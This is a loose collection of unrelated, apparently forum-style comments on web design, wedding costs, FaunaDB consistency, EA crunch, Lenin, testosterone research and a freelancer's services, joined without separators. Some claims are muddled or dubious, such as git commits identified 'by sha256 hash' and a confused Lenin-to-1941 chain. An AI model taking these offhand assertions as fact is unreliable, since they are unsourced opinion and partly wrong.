Thanks for putting this together. I don't know if "Web Design 3.0" is a term people recognize, but I do agree that this particular style is based around bringing in more elements from print design to digital. CSS3, Flexbox and now CSS Grid has made a lot of that possible.

The bigger challenge now is that "web design" isn't really respected as a discipline, since half of the customers associate it with cheap templated Wordpress/Drupal sites, and the other half care only about utility (if it's a web app), and little to nothing about how the design speaks to its brand. It's their call of course, and if they want a barebones site, it's on the designer to show them that a custom design can bring in more business.

PS - the Pinterest-sourced design examples are nice. I wouldn't have discovered them myself since Pinterest's UX and takeover of Google Image search results has soured me on them.
Yeah, if those are your deal breakers, then you seem to be a prime candidate for the "pay for your own damn resources" tier of pricing model, that way you can have whatever you want.

Because in this country, contracts signed are almost always enforced.

It doesn't matter the unidirectional power assymetry. It doesn't matter if the contract is unconscionable. If you want the job, you sign the contract. And even if its illegal good luck going thru the courts to litigate. The companies also have more money and can outspent than you have to live.
Bill Gates has no real ability to cure polio or malaria, other than by throwing money at the problem. Other people have to do the actual work. But if the industry for those kinds of jobs isn't very good, enough people won't go into those careers at the time they need to, which is early: they need to have an interest at a young age, major in the right fields in college, specialize in postdoc, etc.

You can't just throw money at something and expect hordes of highly talented and qualified people to suddenly be available to do it.

This isn't Bill's fault (as much as I'd like to blame him for something after suffering with Windows 9x), it's a product of our society. We don't value that kind of work, we don't demand our government to fund it properly (since the "free market" isn't going to), so we get kids going into college tracks where they can be good at online advertising rather than curing cancer.
As long as the thermal strain(deformation) and therefore stress is managed, it would be fine. There are design tables and values that one can refer to that limit maximum cyclic stress which might be particularly applicable here.
That sounds trivial to implement in an extension at least. If there isn't one already I could probably take a crack at it.
Try it. I don't think you will be successful. I think you underestimate the amount of money it took Uber to get the network effect in each city to have enough drivers. At this point it's easy to keep it up.
I think you're underestimating the costs associated with event catering, especially for a sit-down meal, that have nothing to do with weddings specifically for meals that are prepared on-site. You're loading a truck or more full of gear. Paying for cook and wait staff. Breakdown. Tents/chairs/etc. (Unless you're using an event space which has its own costs.)

[As someone else alluded to, sure you can bring in a couple of food trucks, which I see more and more at conference events. But that's not what a lot of people have in mind for a wedding meal.]
Lenin was sent by Germany and financed by Germany.

The only thing that Germany achieved was a peace on Eastern Front.
After that Lenin decided to incite a revolution (or two) in Germany and we all know what happened in 1941.
Of course, it's better, because we can link to specific commit by sha256 hash, which is way more secure.

Much depends on your definition of "good", I expect.

Even setting aside the possibility of unforeseen negative side-effects of the change to ecosystems, etc., it's not clear to me that minimising human sickness is an absolute "good" that outweighs any other effects, and it's not clear how we should evaluate the deliberate extinction of another species.

How many human lives must be saved to justify an extinction? (Of course, those human lives aren't really "saved" in a long-term sense; they're still going to die, just from some other cause. Meanwhile, the extinct species remains permanently extinct.)

How many species can we justify eliminating in order to stop a given disease? One? Tens? Hundreds? Thousands? Does the answer depend on whether they're cute and furry?

One thing they could do is to put all the people who knowingly facilitated the crime in jail(i.e top executives). I'm pretty sure that would be a better detterent than some huge fines.
Mmmm you typically limit releases of your software for exactly this reason. Best model so far has been subscription based with a limited number of total subscription. I’ve seen it generate a huge amount of revenue (upwards of 300k annually).

It’s in everyone’s best interest to keep the total number of bots in circulation relatively low. Helps that genuinely good software is difficult to write and most people doing that work are young/inexperienced - huge advantage to anyone with a strong softeng background.
I am surprised at how many sub-contractors Sinclair used for his products.

He had quite a media profile at the time and one imagined that everything came out of a Sinclair building with all the magic happening inside that building, with Sir Clive very much hands on with his minions.

In reality though the product was as much about managing suppliers and contractors as much as it was about design.

The thing is that I would have thought that in those days writing your own ROM (all 8Kb of it) was core functionality and not something outsourced. Sinclair wasn't as 'vertically integrated' as I imagined.

Does anyone know if they outsourced the ULA design and even the printed circuit board layout?
Pre-planning may not be practical with a funeral either. I understand in the case of a terminal illness, but death does happen rather suddenly to a lot of people. For a wedding at least you can book the venue ahead of time.

I will echo the truth behind this. My food truck usually does food service for 3-4 weddings a year and we don't charge much more than our usual prices unless they're asking for something outside standard offerings. We greatly enjoy doing them since we know exactly what we're doing that day, they're a guaranteed income, and we can focus on good quality. Plus it's great fun to be a part of things like weddings, even on the business end of things.

This is pretty insightful. I think I’d refine it slightly as “there’s no wedding industry despite people trying to create one” (cf Condé Nast and their magazine, mentioned in the article).

And after expanding the scope, as you do, you mostly get the same recursive problem the article concludes with: most of the expenses go to unconnected third parties like venue, band) who have little opportunity for roll-up.
In addition to that, weddings are very seasonal. Prices are often only a fraction if you get married out of season (e.g. getting a photographer during the week in winter). Vendors specialized on weddings have to make most of their annual income on maybe a dozen weekends per year.
You could also make the shareholders accountable. Seize a percentage of their ownership, for instance. That way, the company itself doesn’t suffer. Would be painful the first few times, because it would also hit pension funds and minority investors, but investors should quickly adapt.

This is also how bailouts should work to ensure that owners/leadership doesn’t gamble on a bailout.
Renewable hydrogen ‘already cost competitive’ in niche applications
I think that's a bit reductionist. Highly recommend reading the Muqaddimah (one of the first sociology books) which talks of a natural cadence to power: http://www.politics.ankara.edu.tr/dergi/pdf/39/1/13_barbara_...

Nietzsche also delves into some of these ideas when he describes the rise and fall of civilizations as a by product of decadence. This decadence is not just the simplistic notion of "consumption", but rather a weak moral system that arises as a result of decadence. It is not consumption, but rather the morality of consumption:

A few other points to consider!

FaunaDB is a unique database: its architecture offers linear scalability for transaction throughput (limited, of course, by contention on common records and predicates). That sets it aside from databases which use a single coordinator for all, or just cross-shard, transactions, like Datomic and VoltDB, respectively.

It's also intended for geographic replication, which is a scenario many databases don't try to handle with the same degree of transactional safety--lots of folks support, say, snapshot isolation or linearizability inside one DC, but between DCs all bets are off.

FaunaDB also does not depend on clocks for safety, which sets it aside from other georeplicated databases that assume clocks are well-synchronized. Theoretically, relying on clocks can make you faster, so those kinds of systems might outperform Fauna--at the potential cost of safety issues when clocks misbehave. In practice, there are lots of factors that affect performance, and it's easy to introduce extra round trips into a protocol which could theoretically be faster. There's a lot of room for optimization! I can't speak very well to performance numbers, because Jepsen isn't designed as a performance benchmark, and its workloads are intentionally pathological, with lots of contention.

One of the things you lose with FaunaDB's architecture is interactive transactions--as in VoltDB, you submit transactions all at once. That means FaunaDB can make some optimizations that interactive session transactions can't do! But it also means you have to fit your transactional logic into FaunaDB's query language. The query language is (IMO) really expressive, but if you needed to do, e.g. a complex string-munging operation inside a transaction to decide what to do, it might not be expressible in a single FaunaDB transaction; you might have to say, read data, make the decision in your application, then execute a second CaS transaction to update state.

FaunaDB's not totally available--it uses unanimous agreement over majority quorums, which means some kinds of crashes or partitions can pause progress. If you're looking for a super low latency CRDT-style database where every node can commit even if totally isolated, it's not the right fit. It is a good fit if you need snapshot isolation to strict serializability, which are strong consistency models!

Last time I've checked IRS didn't come with a crow bar after my taxes and I still have all my fingers. Even an authoritarian government may behave better than mafia.
I'd disagree with the last two.

There are now many websites that sell quality mail order mattresses for much less than a brick and mortar store of yore.

I don't know how successful they are, but Redfin seems to have improved the process of home selling/buying.
That can be a really dangerous game to play, fwiw. If a vendor figures out you're lying to them ("gee, I wonder why this birthday party wants boutonnieres and corsages") they can (and probably will) just bail on you and leave you scrambling.

You usually sign pretty tight contracts/agreements for a wedding, less-so for a birthday party.
I agree. Sumerian civilization is reasonably constant from the earliest writing until the conquest by the Persians, if not longer. I'll bet Chinese scholars would agree that China is similar---the same civilization through many changes of governments.

There is general two conflicting answer to that last question. One is that the effect is very minor and testosterone make certain behavior more likely to occur if and only if specific environment is present. It is very possible that testosterone effect on sex-typical play is dependent if it is the father or mother playing with the child. In addition such experiments in recent time has undergone a lot of methodology criticism. In new studies on primates they found that testosterone secretion is increased after physical fights among males which correlate to how much they fight. Behavior in this case causes high testosterone levels, rather than high testosterone level causing behavior.

The other answer is that practically every behavior is influenced by a combination of hormones, genes, and environment. Everything from athletic skills, obesity, teeth health, stress, sleep, diet, honesty, politics, and so on. To quote a profession, free will likely do not exist and is only the result of all the different biological systems interacting with each other, the environment, and random chance.
I feel like this is the not so hidden dirty secret of AI startups today, it's more of an aspiration to use AI rather than what their product actually is (or maybe I'm jaded from my Silicon Valley days). But this seems like common practice with all startups of any sector, pretending to be bigger or more advanced than they are and using VC cash to fuel those dreams
Abstinence is also an extremely good way to prevent contracting STDs. Imperfect, of course (there's still the risk of rape, and of bloodborne contagion), but remarkably good.

Abstinence is probably even less culturally acceptable than contraception, pretty much universally.

Chastity (i.e. having sex only with one's spouse) is less reliable than abstinence, since one's spouse may cheat, but it's also a very good way to prevent the spread of STDs. But even chastity is often culturally unacceptable, whether for both sexes (as in the U.S. today) or for men (as in many places, both historically & in the present).

It's sad — STDs could be eliminated, but … people make mistakes.

There is more on the line when a wedding is involved. The "narrative" that is the wedding causes more stress when all details don't fit the couples narrative. You are not just paying for goods you are paying for the service and priority. When the flowers have to be the right kind and the right shade of red there is extra work that goes into making that happen. Yes, some brides are happy to go down to city hall and have the reception at their favorite bar while others want all details to fit their narrative (that comes with a big price tag).
Not my experience of working at EA for four years. There is a copyright assignment clause in the employment contract, and as unfortunate as that is, it is fairly common across the software industry. There was an internal process by which EA legal would clear personal projects, for which you would then have the copyright, but I never availed myself of it.

As to crunch most teams I worked for at EA did not crunch in the sense you're suggesting. There was widespread recognition within the company that long term crunch was both deleterious to productivity and morale. Studios were increasingly adopting a system called "focus mode" - a short period of focused work towards a specific goal (milestone/demo/etc) where non-essential meetings were cancelled, lunch catered, and distractions eliminated - which purported to produce better results without more than standard hours.

Studios at EA are fairly free to operate autonomously and they each have different cultures. Some were slower to adopt better practices around crunch, and even within the same team some disciplines would often crunch while others worked normal hours. Still, there was recognition of what better looked like in terms of production and will at all levels to make it happen. Not what I would call an "inherently abusive company".
This is a false equivalence.

To paraphrase Erik Naggum, you are emphasizing the things that states and criminal enterprises have in common that are not important, while ignoring the ways in which they differ that are important.

It's true that a state has a certain monopoly on governance. But it is not true that states and the mafia are not all that different.

What I do: Data migration, transformation, and processing. Prototype development. Feasibility studies.

In the past I've been a network engineer, run large-scale Debian installations doing devops before it had a name, and been responsible for servers in Antarctica. I have experience with a wide range of different Unix tools and technologies, at various levels of the stack. This gives me the ability—and the perspective—to pick the best combination of tools for any particular project, rather than simply treating everything as a nail because all I have is a hammer.

I focus particularly on taking on “weird” or niche data or exploratory projects end-to-end; things that wouldn’t be a fit for a standard web or development agency.

Previous work:

* Custom domain specific language (DSL) to encode business rules for computer vision system (Common Lisp)

* University library data migration project, with a focus on completeness and validation. (Clojure, Elixir, Ruby)

* High-reliability, long-term timelapse platform for inaccessible locations. (FreeBSD, Arduino, Python, Shell)

* Migration of existing Node.js+Firebase service to Golang+PostgreSQL on AWS

* Feasibility study investigating the possiblility of writing custom code to interface with a biometric timeclock (Common Lisp)

* Proof-of-concept hardware development for projects linking the physical and virtual worlds in real time (Arduino, Node.js)
